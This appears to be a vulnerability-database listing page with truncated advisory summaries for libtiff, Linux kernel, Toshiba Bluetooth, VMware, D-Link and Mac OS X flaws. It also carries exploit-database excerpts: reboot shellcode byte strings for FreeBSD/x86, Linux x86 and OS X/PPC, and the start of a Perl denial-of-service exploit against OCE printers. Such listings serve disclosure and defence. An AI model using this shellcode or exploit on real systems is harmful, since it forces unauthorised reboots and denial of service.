USN-330-1: tiff vulnerabilities

Tavis Ormandy discovered that the TIFF library did not sufficiently check handled images for validity. By tricking an user or an automated system into processing a specially crafted TIFF image, an attacker could exploit these weaknesses to execute arbitrary code with the target application's...

[SECURITY] [DSA 1111-1] New Linux kernel 2.6.8 packages fix privilege escalation

-------------------------------------------------------------------------- Debian Security Advisory DSA 1111-1 [email protected] http://www.debian.org/security/ Dann Frazier Jul 16th, 2006 http://www.debian.org/security/faq -...

DSA-1111 kernel-source-2.6.8 - race condition

Bulletin has no description...

trifinite Security Advisory: Buffer Overrun in Toshiba Bluetooth Stack for Windows

trifinite Security Advisory: Buffer Overrun in Toshiba Bluetooth Stack for Windows TRSA00001 http://trifinite.org/trifiniteadvisorytoshiba.html Author: Martin Herfurt martin.herfurt at trifinite.org Organization: trifinite.org Web: http://trifinite.org/ Summary This advisory describes a...

[SA20618] FAST360 Appliance DNS Analysis Denial of Service

---------------------------------------------------------------------- Want to join the Secunia Security Team? Secunia offers a position as a security specialist, where your daily work involves reverse engineering of software and exploit code, auditing of source code, and analysis of vulnerabilit...

CVE-2005-3782: Undefined Security Weakness

Mac OS X 10.4.3 up to 10.4.6, when loginwindow uses the "Name and password" setting, and the "Show the Restart, Sleep, and Shut Down buttons" option is disabled, allows users with physical access to bypass login and reboot the system by entering "restart", "power", or "shutdown" sequences after t...

os-x/ppc sync, reboot 32 bytes

os-x/ppc sync, reboot 32 bytes. Shellcode exploit for osxppc platform / MacOSX/PowerPC Shellcode for: sync, reboot 32 bytes hophet at gmail.com http://www.nlabs.com.br/hophet/ / include include char shellcode = "\x7c\x63\x1a\x79" "\x39\x40\x01\x06" "\x38\x0a\xff\x1e" "\x44\xff\xff\x02"...

os-x/ppc sync() reboot() 32 bytes

No description provided by source. / MacOSX/PowerPC Shellcode for: sync, reboot 32 bytes hophet at gmail.com http://www.nlabs.com.br/hophet/ / include stdio.h include string.h char shellcode = "\x7c\x63\x1a\x79" "\x39\x40\x01\x06" "\x38\x0a\xff\x1e" "\x44\xff\xff\x02" "\x60\x60\x60\x60"...

OCE 3121/3122 Printer (parser.exe) Denial of Service Exploit

Exploit for hardware platform in category dos / poc ============================================================ OCE 3121/3122 Printer parser.exe Denial of Service Exploit ============================================================ !/usr/bin/perl OCE 3121/3122 Printer DoS Exploit...

OCE 3121/3122 Printer (parser.exe) Denial of Service Exploit

No description provided by source. !/usr/bin/perl OCE 3121/3122 Printer DoS Exploit ---------------------------- By Herman Groeneveld aka sh4d0wman trancelover75 AT gmail.com Description: the printer runs a webserver to provide various printing tasks from java enabled browsers. Input is being...

OCE 3121/3122 Printer - 'parser.exe' Denial of Service

!/usr/bin/perl OCE 3121/3122 Printer DoS Exploit ---------------------------- By Herman Groeneveld aka sh4d0wman trancelover75 AT gmail.com Description: the printer runs a webserver to provide various printing tasks from java enabled browsers. Input is being filtered for bad characters. However i...

OCE 31213122 Printer - parser.exe Denial of Service

OCE 31213122 Printer - parser.exe Denial of Service !/usr/bin/perl OCE 3121/3122 Printer DoS Exploit ---------------------------- By Herman Groeneveld aka sh4d0wman trancelover75 AT gmail.com Description: the printer runs a webserver to provide various printing tasks from java enabled browsers...

freebsd/x86 reboot(RB_AUTOBOOT) Shellcode 7 bytes

No description provided by source. / FreeBSDx86-reboot-7b.c Shellcode, rebootRBAUTOBOOT, 7 bytes by IZ guerrilla.sytes.net / char shellcode = "\x31\xc0" / xor %eax,%eax / "\x50" / push %eax / "\xb0\x37" / mov $0x37,%al / "\xcd\x80"; / int $0x80 / void main int ret; ret = int &ret + 2; printf"len...

freebsd/x86 reboot(RB_AUTOBOOT) Shellcode 7 bytes

Exploit for freebsd/x86 platform in category shellcode ================================================= freebsd/x86 rebootRBAUTOBOOT Shellcode 7 bytes ================================================= / FreeBSDx86-reboot-7b.c Shellcode, rebootRBAUTOBOOT, 7 bytes by IZ / char shellcode = "\x31\xc...

CVE-2005-4773: Undefined Security Weakness

The configuration of VMware ESX Server 2.x, 2.0.x, 2.1.x, and 2.5.x allows local users to cause a denial of service shutdown via the 1 halt, 2 poweroff, and 3 reboot scripts executed at the service console...

CVE-2005-4723: Undefined Security Weakness

D-Link DI-524 Wireless Router, DI-624 Wireless Router, and DI-784 allow remote attackers to cause a denial of service device reboot via a series of crafted fragmented UDP packets, possibly involving a missing fragment...

D-Link / US Robotics multiple wireless access points DoS

Fragmented sequential UDP packets causes device to reboot...

linux/x86 reboot() - 20 bytes

Exploit for linux/x86 platform in category shellcode ============================= linux/x86 reboot - 20 bytes ============================= / linux/x86 rebootLINUXREBOOTMAGIC1, LINUXREBOOTMAGIC2, LINUXREBOOTCMDRESTART - 20 bytes - izik / char shellcode = "\x6a\x58" // push $0x58 "\x58" // pop %e...

linux/x86 reboot - 20 bytes

linux/x86 reboot - 20 bytes. Shellcode exploit for linx86 platform / linux/x86 rebootLINUXREBOOTMAGIC1, LINUXREBOOTMAGIC2, LINUXREBOOTCMDRESTART - 20 bytes - izik / char shellcode = "\x6a\x58" // push $0x58 "\x58" // pop %eax "\xbb\xad\xde\xe1\xfe" // mov $0xfee1dead,%ebx "\xb9\x69\x19\x12\x28" /...

linux/x86 reboot() - 20 bytes

No description provided by source. / linux/x86 rebootLINUXREBOOTMAGIC1, LINUXREBOOTMAGIC2, LINUXREBOOTCMDRESTART - 20 bytes - izik [email protected] / char shellcode = "\x6a\x58" // push $0x58 "\x58" // pop %eax "\xbb\xad\xde\xe1\xfe" // mov $0xfee1dead,%ebx "\xb9\x69\x19\x12\x28" // mov...